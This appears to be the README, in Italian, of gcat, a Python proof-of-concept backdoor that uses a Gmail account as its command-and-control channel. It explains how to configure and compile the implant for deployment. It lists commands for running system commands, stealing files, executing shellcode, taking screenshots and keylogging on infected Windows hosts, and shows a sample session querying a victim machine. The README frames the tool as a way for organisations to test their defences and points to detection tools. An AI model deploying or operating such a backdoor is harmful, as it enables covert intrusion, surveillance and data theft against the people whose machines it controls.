
Una backdoor PoC che usa Gmail come server C&C
Una backdoor furtiva basata su Python che utilizza Gmail come server di comando e controllo
Questo progetto è ispirato al codice PoC originale di Benjamin Donnelly
... che è stato rilasciato per consentire alle organizzazioni di testare le proprie difese contro questi tipi di attacchi. Per individuarli, vedi progetti come RITA.
Per una versione più aggiornata e mantenuta di questo progetto, vedi GDog
Perché funzioni, ti serve:
Questo repository contiene due file:
gcat.py, uno script usato per enumerare e inviare comandi ai client disponibiliimplant.py, la vera backdoor da distribuireIn entrambi i file, modifica le variabili gmail_user e gmail_pwd con nome utente e password dell'account che hai configurato in precedenza.
Probabilmente vorrai compilare implant.py in un eseguibile usando Pyinstaller
Nota: è consigliato compilare implant.py usando un'installazione Python 32bit
dP
88
.d8888b. .d8888b. .d8888b. d8888P
88' `88 88' `"" 88' `88 88
88. .88 88. ... 88. .88 88
`8888P88 `88888P' `88888P8 dP
.88
d8888P
.__....._ _.....__,
.": o :': ;': o :".
`. `-' .'. .'. `-' .'
`---' `---'
_...----... ... ... ...----..._
.-'__..-''---- `. `"` .' ----'''-..__`-.
'.-' _.--''' `-._.-' ''''--._ `-.`
' .-"' : `"-. `
' `. _.'"'._ .' `
`. ,.-'" "'-., .'
`. .'
jgs `-._ _.-'
`"'--...___...--'"`
...IM IN YUR COMPUTERZ...
WATCHIN YUR SCREENZ
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
-id ID Client to target
-jobid JOBID Job id to retrieve
-list List available clients
-info Retrieve info on specified client
Commands:
Commands to execute on an implant
-cmd CMD Execute a system command
-download PATH Download a file from a clients system
-upload SRC DST Upload a file to the clients system
-exec-shellcode FILE Execute supplied shellcode on a client
-screenshot Take a screenshot
-lock-screen Lock the clients screen
-force-checkin Force a check in
-start-keylogger Start keylogger
-stop-keylogger Stop keylogger
Meow!
#~ python gcat.py -list
f964f907-dfcb-52ec-a993-543f6efc9e13 Windows-8-6.2.9200-x86
90b2cd83-cb36-52de-84ee-99db6ff41a11 Windows-XP-5.1.2600-SP3-x86
L'output è una stringa UUID che identifica in modo univoco il sistema e il sistema operativo su cui l'implant è in esecuzione
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -cmd 'ipconfig /all'
[*] Command sent successfully with jobid: SH3C4gv
Qui stiamo dicendo a 90b2cd83-cb36-52de-84ee-99db6ff41a11 di eseguire ipconfig /all; lo script restituisce quindi il jobid che possiamo usare per recuperare l'output di quel comando
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -jobid SH3C4gv
DATE: 'Tue, 09 Jun 2015 06:51:44 -0700 (PDT)'
JOBID: SH3C4gv
FG WINDOW: 'Command Prompt - C:\Python27\python.exe implant.py'
CMD: 'ipconfig /all'
Windows IP Configuration
Host Name . . . . . . . . . . . . : unknown-2d44b52
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Unknown
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
-- SNIP --